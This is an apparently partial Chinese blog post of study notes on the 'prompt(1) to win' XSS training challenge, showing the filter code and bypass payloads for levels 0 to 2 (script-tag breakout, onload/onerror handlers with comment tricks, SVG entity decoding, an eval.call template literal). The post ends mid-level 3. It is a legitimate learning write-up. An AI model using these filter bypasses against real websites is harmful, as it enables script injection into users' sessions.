prompt(1) to win -----XSS学习笔记

本文是一篇关于XSS学习的笔记,记录了作者在一系列挑战中如何利用各种技巧插入prompt(1) 的过程。从基础的<>过滤到复杂的正则与长度限制,每个关卡都详细分析了解决方案,包括SVG标签、URL编码、注释符等绕过策略。
摘要由CSDN通过智能技术生成

一直不是很懂XSS,所以这里专门来学习一下下!记录做题的过程嗯。规则是当想办法嵌入prompt(1) 就算胜利了

第0关

什么过滤都没有,payload如下

"><script>prompt(1)</script><"

这里写图片描述

第1关—<> 过滤

function escape(input) {
   
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}   

发现是过滤了<内容>这个组合,通过实验发现可以用//注释绕过,相当于过滤了>,这里采用了payload

    <article><body/onload=prompt(1)//</article>

这里写图片描述

这样也是可以的

<img src=1 onerror=prompt(1)//

第2关— (= 过滤

function escape(input) {
   
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}        

很容易看出来,是过滤了(和=,但是怎么过滤很困惑,想过会不会是什么编码解析绕过它,但是没成功。参考了大牛的答案后恍然大悟,原来存在这么神器的标签
使用SVG标签,会提前将将XML实体解析再加入标签!然后我们只需要构造<svg><script>prompt&#x28;1)</script>

这里写图片描述

或者利用了

<script>eval.call`${'prompt\x281)'}`</script>

调用了js中的eval函数,巧妙死了!

第3关—替换

function escape(input) {
   
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值